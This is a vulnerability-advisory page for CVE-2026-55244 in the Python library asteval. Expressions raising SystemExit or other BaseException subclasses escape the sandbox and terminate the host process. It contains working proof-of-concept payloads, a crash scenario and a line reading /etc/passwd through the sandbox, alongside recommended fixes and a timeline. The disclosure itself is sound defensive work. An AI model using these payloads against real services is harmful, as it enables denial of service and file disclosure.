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asteval CVE-2026-55244

MEDIUM
Uncaught Exception (CWE-248)
2026-08-20 https://github.com/lmfit/asteval GHSA-89v8-rhwq-hf77
5.0
CVSS 3.1 · GitHub Advisory
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GitHub Advisory PRIMARY
5.0 MEDIUM
AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Network vector applies to the realistic worst-case deployment (web API accepting user expressions); no credentials or interaction required; impact is strictly process termination (A:H), no confidentiality or integrity effect.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 20, 2026 - 17:57 vuln.today
Analysis Generated
Aug 20, 2026 - 17:57 vuln.today

DescriptionGitHub Advisory

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.

---

Affected Code

asteval/astutils.py, lines 89-108 - FROM_PY exposes dangerous classes to sandbox users:

python
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',
# ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',
# ← escapes except Exception:
           ...
           'KeyboardInterrupt',
# ← escapes except Exception:
           ...
           'SystemExit',
# ← escapes except Exception:
           ...)

asteval/asteval.py, line 322 - run() exception handler:

python
except Exception:
# ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 - eval() exception handler:

python
except Exception:
# ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264 - raise_exception() raises the class directly:

python
raise exc(self.error_msg)
# ← when exc=SystemExit, escapes both handlers above

---

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

python
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.

---

Proof of Concept

python
from asteval import Interpreter
# Variant 1: terminate the process
aeval = Interpreter()
try:
    aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
# Variant 3: GeneratorExit
aeval = Interpreter()
try:
    aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
# Variant 4: BaseException base class
aeval = Interpreter()
try:
    aeval.eval('raise BaseException("base escape")')
except BaseException as e:
    if not isinstance(e, Exception):
        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world server scenario

python
from asteval import Interpreter

def handle_request(user_expression):
    aeval = Interpreter()
    return aeval.eval(user_expression)
# SystemExit propagates here
# Attacker sends: raise SystemExit(1)
# Application terminates. Top-level except Exception: handlers do not protect it.
try:
    handle_request('raise SystemExit(1)')
except Exception:
    pass
# <-- does NOT catch SystemExit; process exits

---

Impact

VariantImpact
SystemExitProcess terminates; exit code and message attacker-controlled
KeyboardInterruptDisrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops
GeneratorExitDisrupts generator cleanup in calling code
BaseExceptionGeneric escape, same propagation

Any application that:

  • Accepts user-supplied expressions via asteval
  • Relies on except Exception: at the top level (standard practice)
  • Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)

...is vulnerable to attacker-triggered process termination (DoS).

CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact - process termination (A:H).

---

Additional Note: File Read Capability (Acknowledged Limitation)

Independently of this vulnerability, asteval exposes a read-only open() wrapper (_open in astutils.py) that allows reading arbitrary files with the permissions of the calling process:

python
aeval.eval("open('/etc/passwd').read()")
# returns /etc/passwd contents

This is documented in doc/motivation.rst as a known design choice ("If reading from disk must be forbidden, you will want to overwrite the open() function from the symbol table"). It is included here for completeness, not as a separate advisory claim.

---

Recommended Fix

Option A - Remove dangerous classes from FROM_PY (minimal, preferred):

python
# asteval/astutils.py

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
# Remove: 'BaseException',
           'BufferError', 'BytesWarning',
           'DeprecationWarning', 'EOFError', 'EnvironmentError',
           'Exception', 'False', 'FloatingPointError',
# Remove: 'GeneratorExit',
           'IOError', 'ImportError', 'ImportWarning', 'IndentationError',
           'IndexError', 'KeyError',
# Remove: 'KeyboardInterrupt',
           'LookupError',
           'MemoryError', 'NameError', 'None',
           'NotImplementedError', 'OSError', 'OverflowError',
           'ReferenceError', 'RuntimeError', 'RuntimeWarning',
           'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
# Remove: 'SystemExit',
           'True', 'TypeError', ...)

Option B - Block non-Exception raises in on_raise():

python
# asteval/asteval.py

def on_raise(self, node):
    excnode = node.exc
    msgnode = node.cause
    out = self.run(excnode)
# Prevent BaseException subclasses from escaping the sandbox
    if not issubclass(out.__class__, Exception):
        self.raise_exception(node, exc=RuntimeError,
                             msg=f"raising {out.__class__.__name__!r} is not permitted")
        return
    msg = ' '.join(str(a) for a in out.args)
    msg2 = self.run(msgnode)
    if msg2 not in (None, 'None'):
        msg = f"{msg}: {msg2}"
    self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

Note: Option B also fixes a secondary bug on the same line - ' '.join(out.args) crashes with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer code). The fix uses str(a) for a in out.args.

Option C - Catch BaseException in run() and eval() (broadest, requires care):

python
except BaseException as exc:
    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):
# Re-raise as RuntimeError to contain within sandbox
        self.raise_exception(node, exc=RuntimeError,
                             msg=f"{type(exc).__name__} raised in sandbox")
    elif with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the str.join crash on integer args.

---

Disclosure Timeline

DateEvent
2026-06-09Vulnerability discovered during code review
2026-06-09Report submitted via GitHub Security Advisory
TBDMaintainer acknowledgment
TBD + 90 daysPublic disclosure deadline

---

Researcher

Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.

---

References

  • Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)
  • Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)
  • Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy
  • asteval documentation: https://lmfit.github.io/asteval/

AnalysisAI

Sandbox escape in asteval allows any attacker who can supply expressions to Interpreter.eval() to raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException, bypassing both run() and eval() exception handlers - which catch only Exception - and terminating or disrupting the calling process. All asteval versions through 1.0.6 are affected; version 1.0.9 resolves the issue. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

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Vulnerability AssessmentAI

Exploitation Exploitation requires the ability to supply arbitrary string expressions to `asteval.Interpreter.eval()` - the precise condition is attacker-controlled input reaching an eval call in the target application. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS vector (AV:L/AC:L/PR:L/UI:R, score 5.0) is inconsistent with the advisory's own characterization, which explicitly argues AV:N/AC:L/PR:N/UI:N for network-deployed applications. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade asteval to version 1.0.9, which removes `BaseException`, `SystemExit`, `KeyboardInterrupt`, and `GeneratorExit` from `FROM_PY` in `astutils.py` and adds explicit `except (KeyboardInterrupt, SystemExit, GeneratorExit)` handlers in `run()`, `eval()`, `parse()`, `on_call()`, and `on_raise()`, converting escaped exceptions into sandboxed `RuntimeError` instances. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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Vendor StatusVendor

SUSE

Severity: Important
Product Status
openSUSE Tumbleweed Fixed

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CVE-2026-55244 vulnerability details – vuln.today

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